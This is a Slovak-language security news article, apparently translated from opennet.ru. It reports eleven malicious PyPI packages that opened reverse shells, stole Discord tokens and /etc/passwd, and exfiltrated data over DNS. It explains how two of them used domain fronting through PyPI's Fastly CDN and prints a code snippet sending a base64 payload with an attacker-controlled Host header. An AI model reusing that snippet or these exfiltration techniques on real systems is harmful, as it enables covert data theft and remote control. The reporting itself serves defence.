V katalógu PyPI boli identifikované škodlivé knižnice, ktoré používajú PyPI CDN na skrytie komunikačného kanála

V adresári PyPI (Python Package Index) bolo identifikovaných 11 balíkov obsahujúcich škodlivý kód. Pred zistením problémov boli balíky stiahnuté celkovo asi 38 tisíc krát. Zistené škodlivé balíky sú pozoruhodné tým, že používajú sofistikované metódy na skrytie komunikačných kanálov so servermi útočníkov.

  • importantpackage (6305 stiahnutí), important-package (12897) - nadviazalo spojenie s externým serverom pod zámienkou pripojenia k pypi.python.org, aby poskytlo shell prístup do systému (reverse shell) a použilo program trevorc2 na skrytie komunikačný kanál.
  • pptest (10001), ipboards (946) - používa DNS ako komunikačný kanál na prenos informácií o systéme (v prvom pakete názov hostiteľa, pracovný adresár, interná a externá IP, v druhom - meno používateľa a názov hostiteľa) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identifikovali token služby Discord v systéme a odoslali ho externému hostiteľovi.
  • trrfab (287) - odoslal identifikátor, názov hostiteľa a obsah /etc/passwd, /etc/hosts, /home externému hostiteľovi.
  • 10Cent10 (490) – nadviazal reverzné shellové spojenie s externým hostiteľom.
  • yandex-yt (4183) - zobrazí správu o napadnutí systému a presmerovanie na stránku s ďalšími informáciami o ďalších akciách vydaných cez nda.ya.ru (api.ya.cc).

Za zmienku stojí najmä spôsob prístupu k externým hostiteľom používaný v balíkoch dôležitých balíkov a dôležitých balíkov, ktoré na skrytie svojej aktivity využívali sieť na doručovanie obsahu Fastly používanú v adresári PyPI. V skutočnosti boli požiadavky odoslané na server pypi.python.org (vrátane zadania názvu python.org v SNI v požiadavke HTTPS), ale hlavička HTTP „Host“ obsahovala názov servera kontrolovaného útočníkmi (sek. forward.io. global.prod.fastly.net). Sieť na doručovanie obsahu poslala útočiacemu serveru podobnú požiadavku, pričom pri prenose údajov použila parametre pripojenia TLS k pypi.python.org.

Infraštruktúra PyPI je poháňaná sieťou rýchleho doručovania obsahu, ktorá používa transparentný proxy server Varnish na ukladanie typických požiadaviek do vyrovnávacej pamäte a tiež používa spracovanie certifikátov TLS na úrovni CDN, a nie na koncových serveroch, na posielanie požiadaviek HTTPS cez proxy. Bez ohľadu na cieľového hostiteľa sa požiadavky odosielajú na server proxy, ktorý pomocou hlavičky HTTP „Host“ určí požadovaného hostiteľa a názvy hostiteľských domén sú spojené s IP adresami nástroja na vyrovnávanie zaťaženia CDN, ktoré sú typické pre všetkých klientov Fastly.

Server útočníkov sa tiež zaregistruje v službe CDN Fastly, ktorá poskytuje bezplatné plány pre každého a dokonca umožňuje anonymnú registráciu. Je pozoruhodné, že na odosielanie žiadostí obeti pri vytváraní „reverzného shellu“ sa používa aj schéma, ale iniciovaná zo strany hostiteľa útočníka. Interakcia so serverom útočníkov zvonku vyzerá ako legitímna relácia s adresárom PyPI, šifrovaná pomocou certifikátu PyPI TLS. Podobná technika, známa ako „domain fronting“, sa predtým aktívne používala na skrytie názvu hostiteľa pri obchádzaní blokovania, pričom sa využívala možnosť poskytovaná v niektorých sieťach CDN na prístup k HTTPS uvedením fiktívneho hostiteľa v SNI a skutočným prenosom názvu hostiteľa. požadovaný hostiteľ v hlavičke HTTP Host v rámci relácie TLS.

V katalógu PyPI boli identifikované škodlivé knižnice, ktoré používajú PyPI CDN na skrytie komunikačného kanála

Aby sa skryla škodlivá aktivita, balík TrevorC2 sa dodatočne použil na to, aby sa interakcia so serverom podobala bežnej webovej navigácii, napríklad škodlivé požiadavky sa odosielali pod zámienkou stiahnutia obrázka „https://pypi.python.org/images/ guid=” s kódovaním informácií v parametri guid. url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {‘Host’: “psec.forward.io.global.prod.fastly.net”})

Balíky pptest a ipboards používali na skrytie sieťovej aktivity odlišný prístup založený na kódovaní užitočných informácií v dotazoch na server DNS. Malvér prenáša informácie vykonávaním požiadaviek DNS ako „nu4timjagq4fimbuhe.example.com“, v ktorých sú údaje prenášané na riadiaci server zakódované pomocou formátu base64 v názve subdomény. Útočník prijíma tieto správy ovládaním servera DNS pre doménu example.com.

Zdroj: opennet.ru

Pridať komentár